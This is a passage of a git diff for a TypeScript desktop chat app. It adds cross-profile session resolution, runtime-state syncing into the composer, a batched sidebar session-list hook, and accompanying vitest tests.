+    // Not on the active profile — fall through to the cross-profile probe.
+  }
+
+  // Multi-profile only: probe each other profile by id (still one cheap lookup
+  // each) rather than pulling every profile's recent sessions. The first hit
+  // carries its owning `profile`, which routes the resume to the right backend.
+  const activeKey = normalizeProfileKey($activeGatewayProfile.get())
+
+  const otherProfiles = $profiles
+    .get()
+    .map(profile => normalizeProfileKey(profile.name))
+    .filter(key => key !== activeKey)
+
+  for (const profile of otherProfiles) {
+    try {
+      const session = await getSession(storedSessionId, profile)
+
+      // Same ownership contract: the DESKTOP profile we explicitly probed is
+      // authoritative, whatever the scoped backend stamped (older backends
+      // omit the field; a per-profile remote override strips the alias before
+      // forwarding, so that backend answers as its own "default").
+      session.profile = profile
+
+      upsertResolvedSession(session, storedSessionId)
+
+      return session
+    } catch {
+      // Not on this profile; try the next.
+    }
+  }
+
+  return undefined
+}
+
+/**
+ * The profile that owns a stored session, resolved through the same
+ * cache → active-backend → cross-profile ladder as `resolveStoredSession`.
+ *
+ * Recovery `session.resume` calls (stale runtime id, session-not-found, wedged
+ * loop) must re-register the conversation on ITS backend, not on whichever
+ * profile happens to be live. Omitting the profile lets the gateway fall back to
+ * the launch-profile DB (tui_gateway/server.py), which is how a session bleeds
+ * from one profile into another (#67603, second symptom). A cache-only lookup
+ * misses any session outside the paginated sidebar window, so route through the
+ * resolver, which probes uncached ids across profiles.
+ */
+export async function resolveSessionProfile(storedSessionId: null | string): Promise<string | undefined> {
+  if (!storedSessionId) {
+    return undefined
+  }
+
+  const profile = (await resolveStoredSession(storedSessionId))?.profile?.trim()
+
+  return profile || undefined
+}
+
+type SessionRuntimeStatePatch = Partial<
+  Pick<
+    ClientSessionState,
+    'branch' | 'cwd' | 'fast' | 'model' | 'personality' | 'provider' | 'reasoningEffort' | 'serviceTier' | 'yolo'
+  >
+>
+
+interface ApplyRuntimeInfoOptions {
+  /**
+   * Whether this runtime belongs to the session the MAIN pane is showing.
+   * Foreground (the default) mirrors into the composer atoms every main-pane
+   * surface reads.
+   *
+   * A tile or a background branch must pass `false`: it owns a different
+   * worktree, and writing its cwd into `$currentCwd` re-pointed the main
+   * composer's coding rail (and the persisted workspace cwd) at the tile's
+   * repo — the main rail painted a branch from a tree its session was never
+   * in. The returned patch still carries every field, so the caller's own
+   * per-session state is unaffected.
+   */
+  foreground?: boolean
+}
+
+/** Mirror a session's runtime state into the composer atoms the MAIN pane
+ *  renders from. Foreground sessions only — see ApplyRuntimeInfoOptions. */
+function publishRuntimeToComposer(state: SessionRuntimeStatePatch): void {
+  if (state.model !== undefined) {
+    setCurrentModel(state.model)
+  }
+
+  if (state.provider !== undefined) {
+    setCurrentProvider(state.provider)
+  }
+
+  if (state.cwd !== undefined) {
+    if (state.cwd) {
+      // The runtime named a real folder for the session in the main pane, so
+      // that conversation owns the path.
+      commitWorkspaceCwdForSelectedSession(state.cwd)
+    } else {
+      // A detached session: the path on screen is provably still the previous
+      // conversation's. Release rather than write `''` — `setCurrentCwd`
+      // persists, so blanking here would also wipe the remembered workspace
+      // that seeds `$currentCwd` on next boot.
+      releaseWorkspaceCwdOwner()
+    }
+  }
+
+  if (state.branch !== undefined) {
+    setCurrentBranch(state.branch)
+  }
+
+  if (state.personality !== undefined) {
+    setCurrentPersonality(state.personality)
+  }
+
+  if (state.reasoningEffort !== undefined) {
+    setCurrentReasoningEffort(state.reasoningEffort)
+  }
+
+  if (state.serviceTier !== undefined) {
+    setCurrentServiceTier(state.serviceTier)
+  }
+
+  if (state.fast !== undefined) {
+    setCurrentFastMode(state.fast)
+  }
+
+  if (state.yolo !== undefined) {
+    setYoloActive(state.yolo)
+  }
+}
+
+export function applyRuntimeInfo(
+  info: SessionRuntimeInfo | undefined,
+  { foreground = true }: ApplyRuntimeInfoOptions = {}
+): SessionRuntimeStatePatch | null {
+  if (!info) {
+    return null
+  }
+
+  // App/profile-level reporting is session-independent — a tile's runtime
+  // reports backend skew and credential warnings just as usefully.
+  reportBackendContract(info.desktop_contract)
+
+  if (info.approval_mode !== undefined) {
+    reconcileApprovalModeForProfile($activeGatewayProfile.get(), info.approval_mode)
+  }
+
+  requestDesktopOnboardingForCredentialWarning(info.credential_warning)
+
+  reportInstallMethodWarning(info.install_warning)
+
+  const sessionState: SessionRuntimeStatePatch = {}
+
+  if (typeof info.model === 'string') {
+    sessionState.model = info.model
+  }
+
+  if (typeof info.provider === 'string') {
+    sessionState.provider = info.provider
+  }
+
+  // Empty string is authoritative, not "no opinion": a detached/bare session
+  // reports `cwd: ''`, and the truthy-only test left `$currentCwd` — and so the
+  // Files pane — pinned to the PREVIOUS project for the rest of the session
+  // (#71254). Empty is routed through ownership release below rather than
+  // persisted, so the pane hides a path it no longer owns instead of blanking.
+  if (typeof info.cwd === 'string') {
+    sessionState.cwd = info.cwd
+  }
+
+  if (info.branch !== undefined) {
+    sessionState.branch = info.branch || ''
+  }
+
+  if (typeof info.personality === 'string') {
+    sessionState.personality = normalizePersonalityValue(info.personality)
+  }
+
+  if (typeof info.reasoning_effort === 'string') {
+    sessionState.reasoningEffort = info.reasoning_effort
+  }
+
+  if (typeof info.service_tier === 'string') {
+    sessionState.serviceTier = info.service_tier
+  }
+
+  if (typeof info.fast === 'boolean') {
+    sessionState.fast = info.fast
+  }
+
+  if (typeof info.yolo === 'boolean') {
+    sessionState.yolo = info.yolo
+  }
+
+  if (foreground) {
+    publishRuntimeToComposer(sessionState)
+
+    if (info.usage) {
+      setCurrentUsage(current => ({ ...current, ...info.usage }))
+    }
+  }
+
+  return sessionState
+}
+
+export function applyStoredSessionPreviewRuntimeInfo(
+  stored: { cwd?: null | string; model?: null | string } | undefined,
+  storedSessionId: null | string
+) {
+  setCurrentModel(stored?.model || '')
+  setCurrentProvider('')
+  setCurrentReasoningEffort('')
+  setCurrentServiceTier('')
+  setCurrentFastMode(false)
+  setYoloActive(false)
+  setCurrentPersonality('')
+
+  // Cold resume paints the transcript before `session.resume` returns, so
+  // without this the Files pane shows the PREVIOUS project's tree for the whole
+  // round-trip (#71254 / #76696). The sidebar row already knows this
+  // conversation's workspace — `cwd` is part of the compact row projection — so
+  // mirror it on the same tick the selection changes.
+  //
+  // Only `cwd` is consulted. `git_repo_root` is documented as null for non-git
+  // workspaces and not-yet-backfilled history rows, so falling back to it would
+  // read as "no workspace" for those sessions and blank a pane that was correct.
+  const storedCwd = stored?.cwd?.trim() || ''
+
+  if (storedCwd) {
+    setCurrentCwd(storedCwd)
+    setWorkspaceCwdOwner(storedSessionId)
+  } else {
+    // Either a genuinely detached session, or a row outside the loaded sidebar
+    // page (`stored` is undefined) — neither says anything about the workspace,
+    // while `$currentCwd` still holds the previous conversation's folder.
+    // Release so workspace-derived surfaces stop trusting it; `applyRuntimeInfo`
+    // publishes the truth a moment later. The path is deliberately left in place
+    // — clearing it collapses the workspace/review panes and drops file-tree
+    // state on every switch.
+    releaseWorkspaceCwdOwner()
+  }
+
+  // Same window, same reasoning: the branch is derived from the workspace, so
+  // carrying the previous conversation's label across a switch is never right.
+  setCurrentBranch('')
+}
+
+// A "session genuinely doesn't exist" failure (deleted, or an id from a wiped /
+// rotated backend) — the REST transcript 404s with `Session not found`. Distinct
+// from a transient/wedged backend (ECONNREFUSED, timeout), which must still
+// retry rather than discard the id.
+export function isSessionGoneError(err: unknown): boolean {
+  const message = err instanceof Error ? err.message : String(err ?? '')
+
+  return message.includes('404') || /session not found/i.test(message)
+}
diff --git a/ui-desktop/src/app/session/hooks/use-session-list-actions.test.tsx b/ui-desktop/src/app/session/hooks/use-session-list-actions.test.tsx
new file mode 100644
index 000000000..5aa9bf621
--- /dev/null
+++ b/ui-desktop/src/app/session/hooks/use-session-list-actions.test.tsx
@@ -0,0 +1,251 @@
+import { act, renderHook } from '@testing-library/react'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import type { SessionInfo, SidebarSessionsResponse } from '@/clawcodex'
+import {
+  $cronSessions,
+  $messagingSessions,
+  $sessions,
+  $sessionsLoading,
+  setCronSessions,
+  setMessagingSessions,
+  setSessions,
+  setSessionsLoading
+} from '@/store/session'
+
+import { useSessionListActions } from './use-session-list-actions'
+
+// Sidebar refresh hygiene: a content-identical refresh (turn complete,
+// cross-window broadcast, reconnect) must not replace $sessions' array
+// identity — that identity is the dependency for every sidebar memo — and
+// must not flicker the loading flag over an already-populated list.
+
+const row = (id: string, over: Partial<SessionInfo> = {}): SessionInfo =>
+  ({
+    ended_at: null,
+    id,
+    input_tokens: 0,
+    is_active: false,
+    last_active: 1000,
+    message_count: 3,
+    model: 'm',
+    output_tokens: 0,
+    preview: 'hey',
+    profile: 'default',
+    source: 'desktop',
+    started_at: 900,
+    title: `Chat ${id}`,
+    ...over
+  }) as SessionInfo
+
+// Batched sidebar response builder. `refreshSessions` now makes ONE
+// listSidebarSessions call that returns all three slices, replacing the three
+// separate listAllProfileSessions calls (each of which reopened every profile
+// DB) — #66377-adjacent perf work from the desktop audit canvas.
+const sidebar = (
+  recents: { sessions: SessionInfo[]; profiles_truncated?: Record<string, boolean> },
+  cron: SessionInfo[] = [],
+  messaging: SessionInfo[] = []
+): SidebarSessionsResponse => ({
+  recents: { sessions: recents.sessions, profiles_truncated: recents.profiles_truncated },
+  cron: { sessions: cron },
+  messaging: { sessions: messaging }
+})
+
+const listSidebarSessions = vi.fn()
+const listAllProfileSessions = vi.fn()
+
+vi.mock('@/clawcodex', async importOriginal => ({
+  ...(await importOriginal<Record<string, unknown>>()),
+  getCronJobs: vi.fn(async () => []),
+  listAllProfileSessions: (...args: unknown[]) => listAllProfileSessions(...args),
+  listSidebarSessions: (...args: unknown[]) => listSidebarSessions(...args)
+}))
+
+// The refresh only reads the optimistic tombstone set; stub it so we don't pull
+// the whole projects store (gateway / fs / git) into this hook's test.
+const removed = vi.hoisted(() => ({ ids: new Set<string>() }))
+
+vi.mock('@/store/projects', () => ({
+  $removedSessionIds: { get: () => removed.ids }
+}))
+
+beforeEach(() => {
+  listSidebarSessions.mockReset()
+  listAllProfileSessions.mockReset()
+  removed.ids = new Set()
+  setSessions([])
+  setCronSessions([])
+  setMessagingSessions([])
+  setSessionsLoading(false)
+})
+
+afterEach(() => {
+  setSessions([])
+  setCronSessions([])
+  setMessagingSessions([])
+  setSessionsLoading(false)
+})
+
+describe('refreshSessions identity + loading hygiene', () => {
+  it('keeps the previous $sessions array when the refresh is content-identical', async () => {
+    const rows = [row('a'), row('b')]
+    listSidebarSessions.mockResolvedValue(sidebar({ sessions: rows }))
+
+    const { result } = renderHook(() => useSessionListActions({ profileScope: 'default' }))
+
+    await act(async () => {
+      await result.current.refreshSessions()
+    })
+
+    const first = $sessions.get()
+    expect(first.map(s => s.id)).toEqual(['a', 'b'])
+
+    // Second refresh returns fresh (but equal) row objects, as the API does.
+    listSidebarSessions.mockResolvedValue(sidebar({ sessions: [row('a'), row('b')] }))
+
+    await act(async () => {
+      await result.current.refreshSessions()
+    })
+
+    expect($sessions.get()).toBe(first)
+  })
+
+  it('swaps the array when rows actually changed', async () => {
+    listSidebarSessions.mockResolvedValue(sidebar({ sessions: [row('a')] }))
+    const { result } = renderHook(() => useSessionListActions({ profileScope: 'default' }))
+
+    await act(async () => {
+      await result.current.refreshSessions()
+    })
+
+    const first = $sessions.get()
+
+    listSidebarSessions.mockResolvedValue(sidebar({ sessions: [row('a', { last_active: 2000, title: 'Renamed' })] }))
+
+    await act(async () => {
+      await result.current.refreshSessions()
+    })
+
+    expect($sessions.get()).not.toBe(first)
+    expect($sessions.get()[0].title).toBe('Renamed')
+  })
+
+  it('does not flicker the loading flag over a populated list', async () => {
+    listSidebarSessions.mockResolvedValue(sidebar({ sessions: [row('a')] }))
+    const { result } = renderHook(() => useSessionListActions({ profileScope: 'default' }))
+
+    await act(async () => {
+      await result.current.refreshSessions()
+    })
+
+    const loadingStates: boolean[] = []
+    const off = $sessionsLoading.subscribe(value => loadingStates.push(value))
+
+    await act(async () => {
+      await result.current.refreshSessions()
+    })
+
+    off()
+    // Only the initial subscribe emission — no true/false churn per refresh.
+    expect(loadingStates).toEqual([false])
+  })
+
+  it('drops rows the user just deleted, even when the backend page still lists them', async () => {
+    // A delete RPC is in flight: the row is tombstoned optimistically but the
+    // batched refresh still carries it (and a lineage-tip variant). Both must be
+    // filtered so the optimistic removal never flashes back.
+    removed.ids = new Set(['b', 'root-c'])
+    listSidebarSessions.mockResolvedValue(
+      sidebar({
+        sessions: [row('a'), row('b'), row('c', { _lineage_root_id: 'root-c' } as Partial<SessionInfo>)]
+      })
+    )
+
+    const { result } = renderHook(() => useSessionListActions({ profileScope: 'default' }))
+
+    await act(async () => {
+      await result.current.refreshSessions()
+    })
+
+    expect($sessions.get().map(s => s.id)).toEqual(['a'])
+  })
+
+  it('still shows loading for the initial (empty-list) fetch', async () => {
+    listSidebarSessions.mockResolvedValue(sidebar({ sessions: [row('a')] }))
+    const { result } = renderHook(() => useSessionListActions({ profileScope: 'default' }))
+
+    const loadingStates: boolean[] = []
+    const off = $sessionsLoading.subscribe(value => loadingStates.push(value))
+
+    await act(async () => {
+      await result.current.refreshSessions()
+    })
+
+    off()
+    expect(loadingStates).toEqual([false, true, false])
+  })
+})
+
+describe('refreshSessions batches slices into one request', () => {
+  it('makes a single sidebar call and distributes recents / cron / messaging', async () => {
+    const recents = [row('a'), row('b')]
+    const cron = [row('c1', { source: 'cron', title: 'nightly' })]
+    const messaging = [row('m1', { source: 'telegram', title: 'tg chat' })]
+
+    listSidebarSessions.mockResolvedValue(sidebar({ sessions: recents }, cron, messaging))
+
+    const { result } = renderHook(() => useSessionListActions({ profileScope: 'default' }))
+
+    await act(async () => {
+      await result.current.refreshSessions()
+    })
+
+    // One batched call, not three separate listAllProfileSessions reads.
+    expect(listSidebarSessions).toHaveBeenCalledTimes(1)
+    expect(listAllProfileSessions).not.toHaveBeenCalled()
+
+    // Each slice landed in its own store.
+    expect($sessions.get().map(s => s.id)).toEqual(['a', 'b'])
+    expect($cronSessions.get().map(s => s.id)).toEqual(['c1'])
+    expect($messagingSessions.get().map(s => s.id)).toEqual(['m1'])
+  })
+
+  it('forwards the active profile scope + section limits to the batched call', async () => {
+    listSidebarSessions.mockResolvedValue(sidebar({ sessions: [] }))
+    const { result } = renderHook(() => useSessionListActions({ profileScope: 'work' }))
+
+    await act(async () => {
+      await result.current.refreshSessions()
+    })
+
+    expect(listSidebarSessions).toHaveBeenCalledWith(
+      expect.objectContaining({
+        recentsProfile: 'work',
+        recentsExclude: expect.arrayContaining(['cron']),
+        messagingExclude: expect.arrayContaining(['cron'])
+      })
+    )
+  })
+
+  it('scopes the cron-jobs fetch to the active profile (all → unified view)', async () => {
+    const { getCronJobs } = await import('@/clawcodex')
+    listSidebarSessions.mockResolvedValue(sidebar({ sessions: [] }))
+
+    const scoped = renderHook(() => useSessionListActions({ profileScope: 'work' }))
+
+    await act(async () => {
+      await scoped.result.current.refreshCronJobs()
+    })
+
+    expect(getCronJobs).toHaveBeenLastCalledWith('work')
+
+    const unified = renderHook(() => useSessionListActions({ profileScope: '__all__' }))
+
+    await act(async () => {
+      await unified.result.current.refreshCronJobs()
+    })
+
+    expect(getCronJobs).toHaveBeenLastCalledWith('all')
+  })
+})
diff --git a/ui-desktop/src/app/session/hooks/use-session-list-actions.ts b/ui-desktop/src/app/session/hooks/use-session-list-actions.ts
new file mode 100644
index 000000000..d403b7530
--- /dev/null
+++ b/ui-desktop/src/app/session/hooks/use-session-list-actions.ts
@@ -0,0 +1,282 @@
+import { useCallback, useRef } from 'react'
+
+import { getCronJobs, listAllProfileSessions, listSidebarSessions, type SessionInfo } from '@/clawcodex'
+import { sameCronSignature } from '@/lib/session-signatures'
+import {
+  isMessagingSource,
+  LOCAL_SESSION_SOURCE_IDS,
+  MESSAGING_SESSION_SOURCE_IDS,
+  normalizeSessionSource
+} from '@/lib/session-source'
+import { setCronJobs } from '@/store/cron'
+import { $pinnedSessionIds, $sessionsLimit, bumpSessionsLimit, SIDEBAR_SESSIONS_PAGE_SIZE } from '@/store/layout'
+import { ALL_PROFILES, normalizeProfileKey } from '@/store/profile'
+import { $removedSessionIds } from '@/store/projects'
+import {
+  $messagingSessions,
+  $selectedStoredSessionId,
+  $sessions,
+  CRON_SECTION_LIMIT,
+  mergeSessionPage,
+  MESSAGING_SECTION_LIMIT,
+  setCronSessions,
+  setMessagingPlatformTotals,
+  setMessagingSessions,
+  setMessagingTruncated,
+  setSessionProfilesTruncated,
+  setSessions,
+  setSessionsLoading
+} from '@/store/session'
+import { $workingSessionIds, getRecentlySettledSessionIds } from '@/store/session-states'
+
+// The recents list is local-only: cron rows have their own section, kanban
+// dispatcher workers are read on the board, and each messaging platform
+// (telegram, discord, …) is fetched separately into its own self-managed
+// sidebar section (refreshMessagingSessions). Excluding them here keeps
+// "Load more" paging through interactive local chats instead of
+// interleaving gateway threads that bury them.
+const SIDEBAR_EXCLUDED_SOURCES = ['cron', 'kanban', 'subagent', 'tool', ...MESSAGING_SESSION_SOURCE_IDS]
+// The messaging slice is the inverse: drop cron + every local source so only
+// external-platform conversations remain, then split per platform in the UI.
+const MESSAGING_EXCLUDED_SOURCES = ['cron', ...LOCAL_SESSION_SOURCE_IDS]
+
+// Rows a session refresh must preserve even if the aggregator omits them:
+// in-flight first turns (message_count 0), pinned rows aged off the page, the
+// actively-viewed chat (its "working" flag clears a beat before the aggregator
+// sees the persisted row), and sessions whose turn just settled (same race, but
+// for a chat the user has already navigated away from). Pass `scope` to only
+// keep the active row when it belongs to the profile being paged.
+function sessionsToKeep(scope?: string): Set<string> {
+  const keep = new Set<string>([
+    ...$workingSessionIds.get(),
+    ...$pinnedSessionIds.get(),
+    ...getRecentlySettledSessionIds()
+  ])
+
+  const active = $selectedStoredSessionId.get()
+
+  if (active) {
+    const session = scope ? $sessions.get().find(s => s.id === active) : null
+
+    if (!scope || !session || normalizeProfileKey(session.profile) === scope) {
+      keep.add(active)
+    }
+  }
+
+  return keep
+}
+
+interface UseSessionListActionsArgs {
+  profileScope: string
+}
+
+/** Owns the sidebar's session-list fetching + paging: recents, cron runs/jobs,
+ *  and the per-platform messaging slices. Returns the callbacks the controller
+ *  wires into the sidebar and refresh effects. */
+export function useSessionListActions({ profileScope }: UseSessionListActionsArgs) {
+  const refreshSessionsRequestRef = useRef(0)
+
+  // Messaging-platform sessions as their own slice, fetched separately from
+  // local recents so each platform renders a self-managed section and never
+  // competes with local chats for the recents page budget. One combined fetch
+  // seeds every platform; the sidebar splits the rows per source.
+  const refreshMessagingSessions = useCallback(async () => {
+    try {
+      const result = await listAllProfileSessions(MESSAGING_SECTION_LIMIT, 1, 'exclude', 'recent', 'all', {
+        excludeSources: MESSAGING_EXCLUDED_SOURCES
+      })
+
+      // Drop any non-messaging source the broad exclude didn't catch (custom
+      // sources) — those stay in local recents, not a platform section.
+      const rows = result.sessions.filter(s => isMessagingSource(s.source))
+
+      setMessagingSessions(prev => (sameCronSignature(prev, rows) ? prev : rows))
+      // Hit the cap → at least one platform may have more on disk than loaded,
+      // so platform sections offer their own per-platform "load more".
+      setMessagingTruncated(result.sessions.length >= MESSAGING_SECTION_LIMIT)
+    } catch {
+      // Non-fatal: the messaging sections just stay empty/stale.
+    }
+  }, [])
+
+  // Page a single platform's section independently (mirrors the per-profile
+  // pager): fetch that source's next window and merge it back in place, leaving
+  // every other platform's rows untouched. Resolves the platform's exact total.
+  const loadMoreMessagingForPlatform = useCallback(async (platform: string) => {
+    const inPlatform = (s: SessionInfo) => normalizeSessionSource(s.source) === platform
+    const loaded = $messagingSessions.get().filter(inPlatform).length
+
+    const result = await listAllProfileSessions(loaded + SIDEBAR_SESSIONS_PAGE_SIZE, 1, 'exclude', 'recent', 'all', {
+      source: platform
+    })
+
+    const incoming = result.sessions.filter(s => normalizeSessionSource(s.source) === platform)
+
+    setMessagingSessions(prev => [
+      ...prev.filter(s => !inPlatform(s)),
+      ...mergeSessionPage(prev.filter(inPlatform), incoming, sessionsToKeep())
+    ])
+
+    const total = result.total ?? incoming.length
+    setMessagingPlatformTotals(prev => ({ ...prev, [platform]: Math.max(total, incoming.length) }))
+  }, [])
+
+  // Cron *jobs* drive the sidebar "Cron jobs" section. Jobs are created
+  // synchronously (agent tool call or the cron UI), so refreshing here right
+  // after an agent turn surfaces a new job immediately; the interval poll keeps
+  // next-run/state fresh as the scheduler advances them. Jobs live per-profile
+  // on disk and the list endpoint aggregates 'all' by default, so scope the
+  // fetch to the sidebar's profile scope — a concrete profile sees only its
+  // own jobs; ALL_PROFILES keeps the unified view.
+  const refreshCronJobs = useCallback(async () => {
+    try {
+      const jobs = await getCronJobs(profileScope === ALL_PROFILES ? 'all' : profileScope)
+
+      setCronJobs(jobs)
+    } catch {
+      // Non-fatal: the cron section just keeps its last-known jobs.
+    }
+  }, [profileScope])
+
+  const refreshSessions = useCallback(async () => {
+    const requestId = refreshSessionsRequestRef.current + 1
+    refreshSessionsRequestRef.current = requestId
+    // The loading flag exists to drive the initial skeletons (they only render
+    // while the list is empty). Turn-complete / reconnect refreshes over a
+    // populated list used to flip it true→false anyway, churning every
+    // $sessionsLoading subscriber twice per turn for no visible change.
+    const showLoading = $sessions.get().length === 0
+
+    if (showLoading) {
+      setSessionsLoading(true)
+    }
+
+    try {
+      const limit = $sessionsLimit.get()
+
+      // Require at least one message so abandoned/empty "Untitled" drafts (one
+      // was created per TUI/desktop launch before the lazy-create fix) don't
+      // clutter the sidebar.
+      // Unified cross-profile list (served read-only off each profile's
+      // state.db; no per-profile backend is spawned). Single-profile users get
+      // the same rows tagged profile="default".
+      // Scope recents to the active profile (not always 'all') so a profile
+      // with few recent sessions isn't windowed out of the cross-profile
+      // recency page — the empty-history-on-profile-switch bug. Cron + messaging
+      // stay cross-profile.
+      const sessionProfile = profileScope === ALL_PROFILES ? 'all' : profileScope
+
+      // Batched: one request opens each profile DB once and returns all three
+      // source-scoped slices, instead of three separate listAllProfileSessions
+      // calls that each reopened + re-counted every profile DB per refresh.
+      const result = await listSidebarSessions({
+        recentsProfile: sessionProfile,
+        recentsLimit: limit,
+        recentsExclude: SIDEBAR_EXCLUDED_SOURCES,
+        cronLimit: CRON_SECTION_LIMIT,
+        messagingLimit: MESSAGING_SECTION_LIMIT,
+        messagingExclude: MESSAGING_EXCLUDED_SOURCES
+      })
+
+      if (refreshSessionsRequestRef.current === requestId) {
+        const recents = result.recents
+
+        // Drop rows the user just deleted/archived: a refresh can race an
+        // in-flight mutation and the backend page still carries the doomed row.
+        // Honoring the optimistic tombstone keeps the removal from flashing back
+        // (the tombstone self-clears once projects.tree confirms the delete).
+        const tombstones = $removedSessionIds.get()
+
+        const incoming = tombstones.size
+          ? recents.sessions.filter(
+              s => !tombstones.has(s.id) && !(s._lineage_root_id && tombstones.has(s._lineage_root_id))
+            )
+          : recents.sessions
+
+        // Signature-gate the swap (same pattern as cron/messaging): a refresh
+        // that returns content-identical rows must keep the previous array
+        // identity, or every sidebar memo keyed on $sessions recomputes and the
+        // whole list re-renders once per turn/broadcast for nothing.
+        setSessions(prev => {
+          const next = mergeSessionPage(prev, incoming, sessionsToKeep())
+
+          return sameCronSignature(prev, next) ? prev : next
+        })
+        // "Is there another page?" instead of an exact total: the backend
+        // reports which profiles filled their window, which costs nothing on
+        // top of the rows it already read (the old exact totals ran a COUNT(*)
+        // per profile DB on every refresh). Reference-stable when unchanged so
+        // the sidebar's group memos don't recompute per refresh.
+        setSessionProfilesTruncated(prev => {
+          const next = recents.profiles_truncated ?? {}
+          const prevKeys = Object.keys(prev)
+
+          return prevKeys.length === Object.keys(next).length && prevKeys.every(key => prev[key] === next[key])
+            ? prev
+            : next
+        })
+
+        // Cron section: latest N cron sessions (kept so a pinned cron run still
+        // resolves via sessionByAnyId), signature-gated like above.
+        setCronSessions(prev => (sameCronSignature(prev, result.cron.sessions) ? prev : result.cron.sessions))
+
+        // Messaging sections: drop any non-messaging source the broad exclude
+        // didn't catch (custom sources stay in local recents), then split per
+        // platform in the UI.
+        const messagingRows = result.messaging.sessions.filter(s => isMessagingSource(s.source))
+
+        setMessagingSessions(prev => (sameCronSignature(prev, messagingRows) ? prev : messagingRows))
+        // Hit the cap → at least one platform may have more on disk than loaded.
+        setMessagingTruncated(result.messaging.sessions.length >= MESSAGING_SECTION_LIMIT)
+      }
+    } finally {
+      if (showLoading && refreshSessionsRequestRef.current === requestId) {
+        setSessionsLoading(false)
+      }
+    }
+
+    // Cron *jobs* are a distinct API (getCronJobs), not a session slice.
+    void refreshCronJobs()
+  }, [profileScope, refreshCronJobs])
+
+  const loadMoreSessions = useCallback(async () => {
+    bumpSessionsLimit()
+    await refreshSessions()
+  }, [refreshSessions])
+
+  // ALL-profiles view pages one profile at a time: fetch that profile's next
+  // page and merge it in place, leaving every other profile's rows untouched.
+  const loadMoreSessionsForProfile = useCallback(async (profile: string) => {
+    const key = normalizeProfileKey(profile)
+    const inKey = (s: SessionInfo) => normalizeProfileKey(s.profile) === key
+    const loaded = $sessions.get().filter(inKey).length
+
+    const result = await listAllProfileSessions(loaded + SIDEBAR_SESSIONS_PAGE_SIZE, 1, 'exclude', 'recent', key, {
+      excludeSources: SIDEBAR_EXCLUDED_SOURCES
+    })
+
+    const keep = sessionsToKeep(key)
+
+    setSessions(prev => [
+      ...prev.filter(s => !inKey(s)),
+      ...mergeSessionPage(prev.filter(inKey), result.sessions, keep)
+    ])
+
+    // A full window back means the profile still has more on disk — but pinned
+    // rows arrive as a back-fill PAST the limit, so counting them fakes a full
+    // page and the "Load more" never goes away (it re-fetches the same rows
+    // forever). Only unpinned rows count toward the window.
+    const unpinned = result.sessions.filter(s => !s.pinned).length
+    const truncated = unpinned >= loaded + SIDEBAR_SESSIONS_PAGE_SIZE
+    setSessionProfilesTruncated(prev => ({ ...prev, [key]: truncated }))
+  }, [])
+
+  return {
+    loadMoreMessagingForPlatform,
+    loadMoreSessions,
+    loadMoreSessionsForProfile,
+    refreshCronJobs,
+    refreshMessagingSessions,
+    refreshSessions
+  }
+}
diff --git a/ui-desktop/src/app/session/hooks/use-session-state-cache.test.tsx b/ui-desktop/src/app/session/hooks/use-session-state-cache.test.tsx
new file mode 100644
index 000000000..f96307f36
--- /dev/null
+++ b/ui-desktop/src/app/session/hooks/use-session-state-cache.test.tsx
@@ -0,0 +1,495 @@
+import { act, cleanup, render } from '@testing-library/react'
+import { type MutableRefObject, useLayoutEffect } from 'react'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import type { ChatMessage } from '@/lib/chat-messages'
+import {
+  $activeSessionStoredIdRotation,
+  $currentFastMode,
+  $currentModel,
+  $currentProvider,
+  $currentReasoningEffort,
+  $currentServiceTier,
+  $messages,
+  $turnStartedAt,
+  setActiveSessionId,
+  setActiveSessionStoredIdRotation,
+  setCurrentFastMode,
+  setCurrentModel,
+  setCurrentProvider,
+  setCurrentReasoningEffort,
+  setCurrentServiceTier,
+  setTurnStartedAt
+} from '@/store/session'
+
+import { useSessionStateCache } from './use-session-state-cache'
+
+type Cache = ReturnType<typeof useSessionStateCache>
+
+interface HarnessProps {
+  activeSessionId: string | null
+  onReady: (cache: Cache) => void
+  selectedStoredSessionId: string | null
+}
+
+describe('useSessionStateCache — stored-id rotation provenance', () => {
+  afterEach(() => {
+    cleanup()
+    setActiveSessionId(null)
+    setActiveSessionStoredIdRotation(null)
+  })
+
+  it('emits the previous, next, and runtime ids and removes the stale reverse mapping', () => {
+    let cache!: Cache
+
+    setActiveSessionId('runtime-A')
+    render(
+      <Harness activeSessionId="runtime-A" onReady={value => (cache = value)} selectedStoredSessionId="stored-A" />
+    )
+
+    act(() => {
+      cache.updateSessionState('runtime-A', state => state, 'stored-A')
+      cache.updateSessionState('runtime-A', state => state, 'stored-A-next')
+    })
+
+    expect($activeSessionStoredIdRotation.get()).toEqual({
+      nextStoredSessionId: 'stored-A-next',
+      previousStoredSessionId: 'stored-A',
+      runtimeSessionId: 'runtime-A'
+    })
+    expect(cache.runtimeIdByStoredSessionIdRef.current.has('stored-A')).toBe(false)
+    expect(cache.runtimeIdByStoredSessionIdRef.current.get('stored-A-next')).toBe('runtime-A')
+  })
+
+  it('does not publish a foreground-navigation event for a background runtime rotation', () => {
+    let cache!: Cache
+
+    setActiveSessionId('runtime-B')
+    render(
+      <Harness activeSessionId="runtime-B" onReady={value => (cache = value)} selectedStoredSessionId="stored-B" />
+    )
+
+    act(() => {
+      cache.updateSessionState('runtime-A', state => state, 'stored-A')
+      cache.updateSessionState('runtime-A', state => state, 'stored-A-next')
+    })
+
+    expect($activeSessionStoredIdRotation.get()).toBeNull()
+    expect(cache.runtimeIdByStoredSessionIdRef.current.has('stored-A')).toBe(false)
+    expect(cache.runtimeIdByStoredSessionIdRef.current.get('stored-A-next')).toBe('runtime-A')
+  })
+})
+
+function Harness({ activeSessionId, onReady, selectedStoredSessionId }: HarnessProps) {
+  const busyRef: MutableRefObject<boolean> = { current: false }
+
+  const cache = useSessionStateCache({
+    activeSessionId,
+    busyRef,
+    selectedStoredSessionId,
+    setAwaitingResponse: () => undefined,
+    setBusy: () => undefined,
+    setMessages: () => undefined
+  })
+
+  onReady(cache)
+
+  return null
+}
+
+describe('useSessionStateCache — per-session turn timer', () => {
+  beforeEach(() => {
+    // The view-sync flush runs on a real rAF in the browser path; in jsdom we
+    // want it synchronous so the global mirror is observable immediately. The
+    // hook closes over `window.requestAnimationFrame`, so stub that exact ref.
+    // Return null (not a handle) so the hook's `viewSyncRafRef.current = rAF(...)`
+    // assignment doesn't overwrite the null the synchronous callback just set —
+    // otherwise the ref reads truthy and the NEXT sync is suppressed (a real
+    // browser returns a handle but runs the callback async, so this race is a
+    // test-only artifact of firing synchronously).
